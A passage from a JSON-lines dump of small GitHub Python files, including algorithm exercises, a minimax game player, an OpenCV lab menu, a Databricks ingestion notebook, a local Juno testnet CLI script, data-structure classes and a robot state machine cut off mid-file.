ven\n posortirano.append(trenutni)\n sosedi = graf[trenutni]\n\n for sosed in sosedi:\n indeg[sosed] -= 1\n if indeg[sosed] == 0:\n nule.append(sosed)\n\nif len(posortirano) == len(graf):\n print(\"POSORTIRANO\")\n print(posortirano)\nelse:\n print(\"TALE RECEPT PA NI PRAV PRAKTIČEN ZA IZVEDBO\")\n\n","repo_name":"jO-Osko/Snov-napredna-skupina","sub_path":"toposort.py","file_name":"toposort.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"sl","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15558122829","text":"import random\nfrom abc import ABCMeta, abstractmethod\nfrom const import *\nfrom exceptions import *\nfrom action import Action\nfrom players import AIPlayer\nfrom players import Player\nimport time\n\nclass TournoiAIPlayer(AIPlayer):\n def __init__(self, board, player_id):\n super().__init__(board, player_id)\n\n def play(self):\n self.debut = time.time()\n return self.minimax()[0]\n\n def minimax(self, depth=2, maximizing=True, alpha = -INF, beta = INF):\n \"\"\"\n Une durée de 2 secondes maximal a été rajoutée dans le cas où la durée est écoulée il renverra un coup\n \"\"\"\n\n if depth == 0:\n return (None,self.objective_function())\n\n if maximizing:\n best_score = -INF\n player = self.player_id\n\n else:\n best_score = +INF\n player = self.other_player_id\n\n best_actions = []\n assert self.board.has_moves(player)\n\n for action in self.board.possible_actions(player):\n self.board.act(action)\n\n winner = self.board.status.winner\n if winner is not None:\n score = INF+depth # Il vaut mieux gagner tôt (ou perdre tard) que de gagner tard (ou perdre tôt)\n if winner == self.other_player_id:\n score *= -1\n else:\n score = self.minimax(depth-1, not maximizing)[1]\n self.board.undo()\n\n if (score > best_score and maximizing) or (score < best_score and not maximizing):\n best_score = score\n best_actions = [action]\n self.fin = time.time()\n self.temps_final = self.fin - self.debut\n if self.temps_final < 1.999999999999:\n return random.choice(best_actions), best_score\n elif score == best_score:\n best_actions.append(action)\n\n if maximizing:\n if alpha <= score:\n alpha = score\n if beta <= alpha:\n break\n\n elif not maximizing:\n if beta >= score:\n beta = score\n if beta <= alpha:\n break\n\n return random.choice(best_actions), best_score\n\n def objective_function(self):\n count = 0\n for Action in self.board.possible_actions(self.player_id):\n\n count += 1\n\n return count\n\n","repo_name":"Ouattassi/infof106-partie4-mosecund","sub_path":"tournoi.py","file_name":"tournoi.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5908269626","text":"def f(i,W):\n if W < 0:\n return float('inf')\n if i == n:\n if W == 0:\n return 0\n return float('inf')\n\n if mem[i][W] != -1:\n return mem[i][W]\n\n res_1 = 1 + f(i, W - coins[i])\n res_2 = f(i + 1, W)\n\n mem[i][W] = min(res_1, res_2)\n\n return mem[i][W]\n \n\n\n\ncoins = list(map(int,input().split()))\namount = int(input())\nn = len(coins)\nmem = [[-1] * (amount+ 1) for _ in range(n + 1)]\nresult = f(0, amount)\nprint(result if result != float('inf') else -1)","repo_name":"shahriarnasif/datastructure-algorithm","sub_path":"Dynamic Programming/Coin-Change/coin.py","file_name":"coin.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17527767667","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# ## Q1. What exactly is []?\n\n# ### ANS1. [] is an empty list which contains no item.\n\n# ## Q2. In a list of values stored in a variable called spam, how would you assign the value 'hello' as the third value? (Assume [2, 4, 6, 8, 10] are in spam.)\n# \n# \n\n# ### ANS2.\n\n# In[1]:\n\n\nspam=[2,4,6,8,10]\nprint(spam)\nspam[2]='hello' # using indexing\nprint(spam)\n\n\n# In[2]:\n\n\nspam=[2,4,6,8,10]\nprint(spam)\nspam.insert(2,'hello') # using insert\nprint(spam)\n\n\n# ### Let's pretend the spam includes the list ['a', 'b', 'c', 'd'] for the next three queries.\n\n# ## Q3. What is the value of spam[int(int('3' * 2) / 11)]?\n# \n\n# ### ANS3.\n\n# In[3]:\n\n\nspam=['a', 'b', 'c', 'd'] \nspam[int(int('3' * 2) / 11)]\n\n\n# ### STEP BY STEP CLARIFICATION:-\n\n# In[4]:\n\n\n('3'* 2) #repeating the string 3 twice\n\n\n# In[5]:\n\n\n(int('3' * 2)) #converting it into the integer\n\n\n# In[6]:\n\n\nint(int('3' * 2) / 11) # deviding 33 by 11 and converting into integer\n\n\n# In[7]:\n\n\nspam[int(int('3' * 2) / 11)] #spam[3] we are searching the item at 3rd index, also note that indexing starts from zero\n\n\n# ## Q4. What is the value of spam[-1]?\n# \n\n# ### ANS4.\n\n# In[8]:\n\n\nspam[-1] # It returns last item from the list\n\n\n# ## Q5. What is the value of spam[:2]?\n\n# ### ANS5.\n\n# In[9]:\n\n\nspam[:2] # : selects all items and 2 returns the items which are on index- 0 to 2 where 0 inclusive and 2 exclusive \n\n\n# ### Let's pretend bacon has the list [3.14, 'cat,' 11, 'cat,' True] for the next three questions.\n\n# ## Q6. What is the value of bacon.index('cat')?\n# \n\n# ### ANS6.\n\n# In[10]:\n\n\nbacon=[3.14, 'cat', 11, 'cat', True] \nbacon.index('cat') #It returns the first matching index \n\n\n# ## Q7. How does bacon.append(99) change the look of the list value in bacon?\n# \n\n# ### ANS7.\n\n# In[11]:\n\n\nbacon.append(99)\nprint(bacon) # it appends 99 at the end of the list\n\n\n# ## Q8. How does bacon.remove('cat') change the look of the list in bacon?\n# \n\n# ### ANS8.\n\n# In[12]:\n\n\nbacon.remove('cat')\nprint(bacon) # it removes first matching element from the list\n\n\n# ## Q9. What are the list concatenation and list replication operators?\n# \n\n# ### ANS9. For concatination we use + and for replication we use *\n\n# In[13]:\n\n\nlist1=['a','b','c','d']\nlist2=[1,2,3,4]\nprint(list1+list2)\nprint(list1*2)\n\n\n# ## Q10. What is difference between the list methods append() and insert()?\n# \n\n# ### ANS10. append adds the element at the end of the list whie insert adds at desired index\n\n# In[14]:\n\n\nlist1=['a','b','c','d']\nlist2=[1,2,3,4]\nlist1.append('praveen')\nlist2.insert(2,'tomar')\nprint(list1)\nprint(list2)\n\n\n# ## Q11. What are the two methods for removing items from a list?\n# \n\n# ### ANS11. pop(), remove()\n\n# In[15]:\n\n\nlist1.pop()\n\n\n# In[16]:\n\n\nlist2.remove(1)\n\n\n# In[17]:\n\n\nlist2\n\n\n# ## Q12. Describe how list values and string values are identical.\n# \n\n# ### ANS12. 1. Both are sequences, can be passed to len(), have indexes and slices, can be used in for loops, can be concatenated or replicated, can be used with the in and not in operators.\n\n# ## Q13. What's the difference between tuples and lists?\n\n# ### ANS13. Lists are mutable, square brackets [ ] are used to create the lists .\n# \n# ### Tuples are immutable, they cannot be changed at all, we use the parentheses / round brackets ( ) for tuples.\n\n# ## Q14. How do you type a tuple value that only contains the integer 42?\n\n# ### ANS14.\n\n# In[18]:\n\n\na=(42)\nb=(42,) # comma is mendatory otherwise it will create an integer\n\n\n# In[19]:\n\n\nprint(a)\nprint(b)\n\n\n# In[20]:\n\n\nprint(type(a))\nprint(type(b))\n\n\n# ## Q15. How do you get a list value's tuple form? How do you get a tuple value's list form?\n# \n\n# ### ANS15.\n\n# In[21]:\n\n\nc=(2,'abc',4)\nprint(c)\nprint(type(c))\n\n\n# In[22]:\n\n\nd=list(c) # list() function is used to convert from tuple to list\nprint(d)\nprint(type(d))\n\n\n# In[23]:\n\n\ne=tuple(d) #tuple() function is used to convert from list to tuple\nprint(e)\nprint(type(e))\n\n\n# ## Q16. Variables that \"contain\" list values are not necessarily lists themselves. Instead, what do they contain?\n# \n\n# ### ANS16. They contain reference of list values.\n\n# ## Q17. How do you distinguish between copy.copy() and copy.deepcopy()?\n\n# ### ANS17. copy.copy() function will create a shallow copy while copy.deepcopy() function will create a deep copy.\n\n# In[24]:\n\n\nimport copy\nlist1=[1,2,3]\ntup1=('tuple is immutable',list1)\ntup2=copy.copy(tup1) #shallow copy\nprint(tup2)\nlist1.append('list is mutable')\nprint(tup2)\n\n\n# ### To avoid this behaviour we'll use deep copy\n\n# In[25]:\n\n\nlist1=[1,2,3]\ntup1=('tuple is immutable',list1)\ntup2=copy.deepcopy(tup1) # deepcopy\nprint(tup2)\nlist1.append('list is mutable')\nprint(tup2)\n\n","repo_name":"praveentomar-git/PYTHON-BASIC-ASSIGNMENTS","sub_path":"Assignment_4.py","file_name":"Assignment_4.py","file_ext":"py","file_size_in_byte":4654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4056339058","text":"\"\"\"A linked list in python.\"\"\"\n\n\nclass Node(object):\n \"\"\"A node for a linked list.\"\"\"\n\n def __init__(self, val, next):\n \"\"\"Initialize the node.\"\"\"\n self.val = val\n self.next = next\n\n\nclass LinkedList(object):\n \"\"\"A linked list data structure.\"\"\"\n\n def __init__(self):\n \"\"\"Initialize the linked list.\"\"\"\n self.head = None\n\n def push(self, val):\n \"\"\"Add a node to the linked list.\"\"\"\n self.head = Node(val, self.head)\n\n def pop(self):\n \"\"\"Pop a value off of the end of the list.\"\"\"\n if not self.head:\n raise IndexError('Cannot pop from empty linked list.')\n\n popped_value = self.head.val\n self.head = self.head.next\n return popped_value\n\n def search(self, val):\n \"\"\"Search through the linked list.\"\"\"\n if not self.head:\n raise IndexError('Cannot search empty list.')\n\n current_node = self.head\n\n while current_node:\n if current_node.val == val:\n return current_node\n current_node = current_node.next\n\n def remove(self, val):\n \"\"\"Remove a value from the linked list.\"\"\"\n current_node = self.head\n previous_node = None\n\n while current_node:\n if current_node.val == val:\n if previous_node:\n previous_node.next = current_node.next\n else:\n self.head = current_node.next\n\n previous_node = current_node\n current_node = current_node.next\n","repo_name":"ztaylor2/data-structures","sub_path":"src/review/linked_list_review.py","file_name":"linked_list_review.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"29980111293","text":"'''\n//**********************************************************//\n// LABORATORIO 4 //\n// MANEJO DE OPERADORES DE PRE-PROCESAMIENTO // \n// \t //\n//**********************************************************//\n\nla práctica se enfoca en el manejo de Operadores de Pre-procesamiento,\nesto es: operadores aritméticos, operadores lógicos, selección de un\nROI, binarización, y dos pequeñas aplicaciones de: Realzado de brillo\na un ROI y Detección simple de Movimiento. \n'''\n\nimport cv2\n\n#Funcion para cargar un archivo de imagen\ndef inputImg(message=\"\\tPath de la imagen: \"):\n while (True):\n path = input (message)\n try:\n return cv2.imread(path, 1)\n except:\n print (\"\\n\\tRuta invalida\")\n \n\nprint(\"\\n***************************************************************** \");\nprint(\"\\n*\\t L A B O R A T O R I O No. 4 D E \\t\\t*\");\nprint(\"\\n*\\t\\tPROCESAMIENTO DIGITAL DE IMAGENES\\t\\t*\");\nprint(\"\\n* Manejo de Operadores Aritméticos, Lógicos, ROI, Threshold *\");\nprint(\"\\n* y Aplicaciones básicas \\t\\t\\t*\");\nprint(\"\\n*****************************************************************\\n\\n\\n\");\n\nwhile(True):\n\n print(\"\\t0. Salir\\n\\t1. Operador ADD\\n\\t2. Operador AND\"+\n \"\\n\\t3. Operador OR\\n\\t4. Operador XOR\\n\\t5. Operador\"+\n \" NOT\\n\\t6. Selección ROI\\n\\t7. Binarización\\n\\t\"+\n \"8. Aplicación#1 = Realzado de Brillo - ROI\\n\\t\"+\n \"9. Aplicación#2 = Simple Motion Detection\\n\\t\"+\n \"10. Copiar una región de una imagen\")\n\n op = input(\"\\n\\t\\tIngrese la opción --> \")\n\n\n if (op == '0'):\n break\n\n elif (op == '1'):\n print(\"\\n\\tOperador ADD\")\n img1 = inputImg(\"\\tPath 1era imagen: \")\n img2 = inputImg(\"\\tPath 2da imagen: \")\n\n \n cv2.imshow(\"Img1\", img1)\n cv2.imshow(\"Img2\", img2)\n cv2.waitKey(0)\n cv2.destroyWindow(\"Img2\")\n\n img3 = cv2.add(img1, img2) \n cv2.imshow(\"Img1\", img3)\n cv2.setWindowTitle(\"Img1\", \"Suma\")\n cv2.waitKey(0)\n \n elif (op == '2'):\n print(\"\\n\\tOperador AND\")\n img1 = inputImg(\"\\tPath 1era imagen: \")\n img2 = inputImg(\"\\tPath 2da imagen: \")\n\n cv2.imshow(\"Img1\", img1)\n cv2.imshow(\"Img2\", img2)\n cv2.waitKey(0)\n cv2.destroyWindow(\"Img2\")\n\n img3 = cv2.bitwise_and(img1, img2)\n cv2.imshow(\"Img1\", img3)\n cv2.setWindowTitle(\"Img1\", \"AND\")\n cv2.waitKey(0)\n\n elif (op == '3'):\n print(\"\\n\\tOperador OR\")\n img1 = inputImg(\"\\tPath 1era imagen: \")\n img2 = inputImg(\"\\tPath 2da imagen: \")\n\n cv2.imshow(\"Img1\", img1)\n cv2.imshow(\"Img2\", img2)\n cv2.waitKey(0)\n cv2.destroyWindow(\"Img2\")\n\n img3 = cv2.bitwise_or(img1, img2)\n cv2.imshow(\"Img1\", img3)\n cv2.setWindowTitle(\"Img1\", \"OR\")\n cv2.waitKey(0)\n\n elif (op == '4'):\n print(\"\\n\\tOperador XOR\")\n img1 = inputImg(\"\\tPath 1era imagen: \")\n img2 = inputImg(\"\\tPath 2da imagen: \")\n\n cv2.imshow(\"Img1\", img1)\n cv2.imshow(\"Img2\", img2)\n cv2.waitKey(0)\n cv2.destroyWindow(\"Img2\")\n\n\n img3 = cv2.bitwise_xor(img1, img2)\n cv2.imshow(\"Img1\", img3)\n cv2.setWindowTitle(\"Img1\", \"XOR\")\n cv2.waitKey(0)\n\n elif (op == '5'):\n print(\"\\n\\tOperador NOT\")\n img1 = inputImg() \n\n cv2.imshow(\"Imagen\", img1)\n cv2.waitKey(0)\n\n img2 = cv2.bitwise_not(img1)\n cv2.imshow(\"Imagen\", img2)\n cv2.setWindowTitle(\"Imagen\", \"NOT\")\n cv2.waitKey(0)\n\n elif (op == '6'):\n print(\"\\n\\tSeleccion de ROI\")\n img1 = inputImg() \n\n cv2.imshow(\"Imagen\", img1)\n cv2.waitKey(0)\n\n r = cv2.selectROI(img1) \n roi = img1[r[1]:r[1]+r[3], r[0]:r[0]+r[2]]\n cv2.imshow(\"Imagen\", roi)\n cv2.setWindowTitle(\"Imagen\", \"ROI\")\n cv2.waitKey(0)\n\n elif (op == '7'):\n print(\"\\n\\tBinarización\")\n umbral=-1\n while(umbral<0 or umbral>255):\n try:\n umbral = int(input(\"\\tIngrese un umbral 0-255: \"))\n except:\n print(\"\\t-Valor incorrecto-\")\n \n img1 = inputImg()\n gray = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)\n cv2.imshow(\"Imagen\", gray)\n\n ret, binaria = cv2.threshold(gray, umbral, 255, cv2.THRESH_BINARY)\n cv2.imshow(\"Binarizada\", binaria)\n cv2.waitKey(0)\n\n elif (op == '8'):\n print(\"\\n\\tAplicación#1 = Masking - Realzado de brillo en roi\")\n img1 = inputImg(\"\\tPath 1era imagen: \")\n img2 = inputImg(\"\\tPath 2da imagen: \")\n\n img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)\n img2 = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)\n cv2.imshow(\"Img1\", img1)\n cv2.imshow(\"Img2\", img2)\n cv2.waitKey(0)\n\n #Extracción del roi de la imagen 2\n img1 = cv2.add(img1, 20)\n img3 = cv2.bitwise_and(img1, img2)\n \n cv2.imshow(\"Img1\", img3)\n cv2.setWindowTitle(\"Img1\", \"Img3\")\n cv2.waitKey(0)\n\n #Reduccion de brillo de la imagen\n img1 = cv2.subtract(img1, 100)\n \n cv2.imshow(\"Img2\", img1)\n cv2.setWindowTitle(\"Img2\", \"Img4\")\n cv2.waitKey(0)\n\n #Suma del roi extraido y la imagen\n img3 = cv2.add(img1, img3)\n \n cv2.imshow(\"Img1\", img3)\n cv2.setWindowTitle(\"Img1\", \"Roi Realzado\")\n cv2.waitKey(0)\n\n elif (op == '9'):\n print(\"\\n\\tAplicación#2 = Simple Motion Detection\")\n img1 = inputImg(\"\\tPath 1era imagen: \")\n img2 = inputImg(\"\\tPath 2da imagen: \")\n\n cv2.imshow(\"Img1\", img1)\n cv2.imshow(\"Img2\", img2)\n cv2.waitKey(0)\n cv2.destroyWindow(\"Img2\")\n\n img3 = cv2.subtract(img1, img2)\n ret, img3 = cv2.threshold(img3, 30, 255, cv2.THRESH_BINARY)\n cv2.imshow(\"Img1\", img3)\n cv2.setWindowTitle(\"Img1\", \"Motion Detection\")\n cv2.waitKey(0)\n\n elif (op == '10'):\n print(\"\\n\\tCopiar una región de una imagen\")\n img1 = inputImg()\n\n print(\"\\n\\tDatos de la imagen de entrada:\")\n print(\"\\tAlto: \"+str(img1.shape[0])+\"\\tAncho: \"+str(img1.shape[1])+\"\\tCanales: \"+str(img1.size/(img1.shape[0]*img1.shape[1])))\n\n print(\"\\n\\tIngrese coordenadas de región\")\n while (True):\n try:\n pminX = int(input(\"\\tPunto mínimo X: \"))\n pmaxX = int(input(\"\\tPunto máximo X: \"))\n pminY = int(input(\"\\tPunto mínimo Y: \"))\n pmaxY = int(input(\"\\tPunto máximo Y: \"))\n #Extracción de la region\n img2 = img1[pminY:pmaxY, pminX:pmaxX].copy()\n\n if (pminX>pmaxX or pminY>pmaxY):\n print(\"\\n\\tPunto maximo debe ser mayor al minimo.\\n\")\n else:\n break\n except:\n print(\"\\n\\tPuntos inválidos.\\n\")\n \n cv2.imshow(\"Imagen\", img1)\n cv2.imshow(\"Region\", img2)\n cv2.waitKey(0)\n \n else:\n print(\"\\n\\tOpcion incorrecta.\\n\")\n\n cv2.destroyAllWindows()\n","repo_name":"natroram/ProyectosUniversitarios","sub_path":"8VO SEMESTRE/PROCESAMIENTO IMAGENES/code_lab_dip_4/lab_dip_4/code/preprocesamiento_lab_4.py","file_name":"preprocesamiento_lab_4.py","file_ext":"py","file_size_in_byte":7277,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14026275297","text":"import math\n\nx = 0\ny = 0\n\nwhile x <= 100:\n if x % 10 == 0:\n print(x)\n\n x+=2\nelse:\n print(math.pow(x,2))\n\nwhile y <= 5:\n if y == 3:\n print(y)\n break\n\n y += 1\n","repo_name":"xandaosilva/curso-python","sub_path":"capitulo02/aula17/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20654252515","text":"# Databricks notebook source\n# MAGIC %md\n# MAGIC # Ingest Constructor.json\n\n# COMMAND ----------\n\n# Include the common files to export the common variable and functions.\n# The filename without extention is fine\n# \"/formula1/include/configuration\"\n# \"/formula1/include/common_functions\"\n\n# COMMAND ----------\n\n# MAGIC %run \"/formula1/include/configuration\"\n\n# COMMAND ----------\n\n# MAGIC %run \"/formula1/include/common_functions\"\n\n# COMMAND ----------\n\n# add the input parameter of widget\n# the input parameter can be used to filter the data or store the extra column\ndbutils.widgets.text(\"p_data_source\",\"\")\nv_data_source = dbutils.widgets.get(\"p_data_source\")\ndisplay(v_data_source)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Step 1 : Read the JSON file\n\n# COMMAND ----------\n\ndisplay(dbutils.fs.mounts())\n\n# COMMAND ----------\n\n# Prepare the schema either with STRUCT or new method written below\n# the below method use the Hive Datetypes.\n\ncontructor_schema = \"constructorId INT,constructorRef STRING,name STRING,nationality STRING,url STRING\"\n\n# COMMAND ----------\n\ncontructor_df = spark.read \\\n.schema(contructor_schema) \\\n.json(f\"{raw_folder_path}/constructors.json\")\n\n# COMMAND ----------\n\ndisplay(contructor_df)\n\n# COMMAND ----------\n\ncontructor_df.printSchema()\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Step 2 : 3 Way to Removed Unwanted column\n\n# COMMAND ----------\n\n# In the CSV file chapeter we did selection of the limited columns so that other unwanted columns gets dropped out.\n# Now we are going to use the new method for the dropping of the columns\n# Three ways\n# Way 1 : Simple And easy way\ncontructor_dropped_df = contructor_df.drop(\"url\")\n\n# COMMAND ----------\n\ndisplay(contructor_dropped_df)\n\n# COMMAND ----------\n\n# way 2 \ncontructor_dropped_df = contructor_df.drop(contructor_df[\"url\"])\n\n# COMMAND ----------\n\n# way 3\nfrom pyspark.sql.functions import col\ncontructor_dropped_df = contructor_df.drop(col(\"url\"))\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Step 3 : Rename of the columns and add new extra columns\n\n# COMMAND ----------\n\nfrom pyspark.sql.functions import current_timestamp , lit\nconstructor_final_df = contructor_dropped_df.withColumnRenamed(\"constructorId\",\"constructor_id\") \\\n .withColumnRenamed(\"constructorRef\",\"constructor_ref\") \\\n .withColumn(\"data_source\",lit(v_data_source))\n\n# COMMAND ----------\n\nconstructor_final_df = add_ingestion_date(constructor_final_df)\n\n# COMMAND ----------\n\ndisplay(constructor_final_df)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Step 4 : Write the data in the form of the parquet files\n\n# COMMAND ----------\n\nconstructor_final_df.write.mode(\"overwrite\").parquet(f\"{processed_folder_path}/constructor\")\n\n# COMMAND ----------\n\n# MAGIC %fs\n# MAGIC ls /mnt/databrickscourcedl/processed/constructor\n\n# COMMAND ----------\n\n# test and confirm the data is stored in the readble format\ndf = spark.read.parquet(f\"{processed_folder_path}/constructor/\")\n\n# COMMAND ----------\n\ndisplay(df)\n\n# COMMAND ----------\n\n# this success indicator is required to get the confirmation message for the calling program 0.ingest_all_files\ndbutils.notebook.exit(\"success\")","repo_name":"LateshSangani/Python_Learning","sub_path":"formula1/demo/column_drop_and_struct.py","file_name":"column_drop_and_struct.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"2078355157","text":"def search(filename):\n print(\"Searching...\")\n sections = []\n books = []\n with open (filename) as file:\n for line in file:\n if line.startswith(\"Section\"):\n #line.split(\":\")\n sections.append(line.split(\":\"))\n else:\n books.append(line.split(\":\"))\n print(\"Done!\")\n sorted = (sections, books)\n return sorted \n\ndef save(filename, data):\n print(\"Saving...\")\n with open (filename, \"w\") as file:\n file.write(f\"Sections: {data}\")\n\n\ndef run():\n data = search(\"data/files/txt/books.txt\")\n save(\"data/files/txt/section-books.txt\", data)\n\nrun()\n\n\n","repo_name":"jimhurst/com411","sub_path":"data/files/txt/write.py","file_name":"write.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14030087033","text":"# flake8: noqa\n\"\"\"\nThis test the rest server to ensures it functions properly.\n\nlocal-ic start base\n\"\"\"\n\n\nfrom helpers.transactions import RequestBuilder\nfrom util_base import API_URL\n\nchain_id = \"localjuno-1\"\n\n\nrb = RequestBuilder(API_URL, chain_id, log_output=True)\n\n\ndef main():\n bin_test()\n tx_test()\n\n\n# Test to ensure the base layer works and returns data properly\ndef bin_test():\n rb.binary(\"keys list --keyring-backend=test --output=json\")\n\n rb.binary(\n \"tx decode ClMKUQobL2Nvc21vcy5nb3YudjFiZXRhMS5Nc2dWb3RlEjIIpwISK2p1bm8xZGM3a2MyZzVrZ2wycmdmZHllZGZ6MDl1YTlwZWo1eDNsODc3ZzcYARJmClAKRgofL2Nvc21vcy5jcnlwdG8uc2VjcDI1NmsxLlB1YktleRIjCiECxjGMmYp4MlxxfFWi9x4u+jOleJVde3Cru+HnxAVUJmgSBAoCCH8YNBISCgwKBXVqdW5vEgMyMDQQofwEGkDPE4dCQ4zUh6LIB9wqNXDBx+nMKtg0tEGiIYEH8xlw4H8dDQQStgAe6xFO7I/oYVSWwa2d9qUjs9qyB8r+V0Gy\"\n )\n\n rb.binary(\"config keyring-backend test\")\n rb.binary(\"config\")\n\n rb.binary(\"keys list --output=json\")\n\n rb.query(\"bank total\")\n\n rb.query(\"bank balances juno10r39fueph9fq7a6lgswu4zdsg8t3gxlq670lt0 --output=json\")\n\n\n# Test to ensure Transactions and getting that data returns properly\ndef tx_test():\n res = rb.binary(\n \"tx bank send acc0 juno10r39fueph9fq7a6lgswu4zdsg8t3gxlq670lt0 500ujuno --fees 5000ujuno --node %RPC% --chain-id=%CHAIN_ID% --yes --output json --keyring-backend=test\"\n )\n tx_data = rb.query_tx(res)\n print(tx_data)\n\n print(\n rb.query(\n \"bank balances juno10r39fueph9fq7a6lgswu4zdsg8t3gxlq670lt0 --output=json\"\n )\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Reecepbcups/local-interchain","sub_path":"scripts/api_test.py","file_name":"api_test.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"78"} +{"seq_id":"23077700415","text":"import json, asyncio\nfrom base64 import b64decode, b64encode\n\nclass BytesJSONEncoder(json.JSONEncoder):\n def default(self, o):\n if isinstance(o, bytes):\n return {'__class__': 'bytes', '__value__': b64encode(o).decode('ascii')}\n elif asyncio.iscoroutine(o):\n return None \n return super().default(o)\n\n\nclass BytesJSONDecoder(json.JSONDecoder):\n def decode(self, s):\n def object_hook(o):\n if '__class__' in o and o['__class__'] == 'bytes':\n return b64decode(o['__value__'].encode('ascii'))\n return o\n return json.loads(s, object_hook=object_hook)","repo_name":"Vitaee/safariAppBackend","sub_path":"safariBackend/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9286471094","text":"# Pusing the final cleansed dataset to Datawarehouse(MongoDB)\n\n# Import required libraries\nimport pandas as pd\nfrom pymongo import MongoClient\nimport json\n\n# Reading the final cleansed dataset\ndf = pd.read_csv('cleansed_data.csv')\n\ntry:\n client = MongoClient('localhost',27017) # Make sure that your mongodb server is running\n db1 = client.employee_attrition # 'employee_attrition' is the name of the database\n print(\"Connected successfully!\")\nexcept: \n print(\"Could not connect to MongoDB\")\n\n\n# Collection_name\nretail_rec = df.to_dict(orient='records') # Converting the dataframe tpo dictionary\ntry:\n rec_id = db1.emp_info.insert_many(retail_rec) # emp_info is the name of the collection\n print(\"Data inserted with record ids\", rec_id)\nexcept:\n print(\"Could not insert into MongoDB\")\n","repo_name":"gowtham12591/Data-Pipeline","sub_path":"Employee_Attrition/Data_Loading.py","file_name":"Data_Loading.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72073951931","text":"\nclass Employee:\n\n raise_amount = 1.04\n\n def __init__(self,first,last,pay,vacation):\n\n self.first = first\n self.last = last\n self.pay = pay\n self.vacation = vacation\n self.email = first + last + '@gmail.com'\n\n def fullname(self):\n\n return f'{self.first} {self.last}'\n\n\n def habijabai(self):\n\n return 'tumi ekta ajaira public'\n\n def apply_raise(self):\n\n self.pay = int(self.pay * Employee.raise_amount)\n\n\n\nemp_1 = Employee('fahad','bin munir',50000,'40days')\n\nprint(emp_1.fullname())\nprint(emp_1.pay)\nemp_1.apply_raise()\nprint(emp_1.pay)\nprint(Employee.raise_amount)\nprint(emp_1.raise_amount)\n","repo_name":"fahad1226/Software-Dev.-with-Python","sub_path":"Object Oriented Programming/testclass.py","file_name":"testclass.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74633216250","text":"from collections import namedtuple\nimport random\n\nTransition = namedtuple('Transition',\n ('state', 'action', 'next_state', 'reward'))\n\n\nclass ReplayMemory(object):\n\n def __init__(self, capacity):\n self.capacity = capacity\n self.memory = []\n self.position = 0\n\n def push(self, *args):\n \"\"\"Saves a transition.\"\"\"\n if len(self.memory) < self.capacity:\n self.memory.append(None)\n transition = Transition(*args)\n self.memory[self.position] = transition\n # results in iteration from 0 to len(capacity)\n self.position = (self.position + 1) % self.capacity\n\n def sample(self, batch_size):\n reward_size = 0\n reward_batch = []\n\n return random.sample(self.memory, batch_size - reward_size) + reward_batch\n\n def __len__(self):\n return len(self.memory)\n","repo_name":"Juphex/StarCraft-AI","sub_path":"replay_memory.py","file_name":"replay_memory.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31871530863","text":"\n\ndef user_info(email, users_emails, users_storage):\n\n if email in users_emails:\n\n message = f'User-email = {email}' \\\n f' \\n ' \\\n f'User_info: {users_storage[email]}'\n return message\n\n else:\n message = f'No user with email: {email}'\n return message\n\n\ndef all_users_info(users_storage):\n\n message = ''\n\n for k, v, in users_storage.items():\n\n users_emails = f'User_email {k}'\n user_info_1 = f'User_info {v}'\n\n print(users_emails, '\\n', user_info_1)\n","repo_name":"salmonsai/Python-course","sub_path":"CRUD/read_1.py","file_name":"read_1.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74638149370","text":"import globals\nfrom state import State\nfrom std_msgs.msg import UInt8\nfrom std_msgs.msg import Bool \nfrom geometry_msgs.msg import Pose2D\nfrom object_detection.srv import *\nimport commands\nimport drive_utils\nimport geometry_utils\nimport time as t\nimport rospy\nfrom math import *\n\nclass FindMothershipState(State):\n def __init__(self, isFirstInstance):\n super(FindMothershipState, self).__init__(\"Find Mothership State\")\n self.isFirstInstance = isFirstInstance\n\n def start(self):\n super(FindMothershipState, self).start()\n\n commands.send_cam_command(15)\n commands.send_claw_command(commands.CARRY_ANGLE)\n commands.send_grip_command(commands.CLAW_CLOSED)\n commands.set_display_state(commands.NORMAL)\n\n self.rotate_speed = 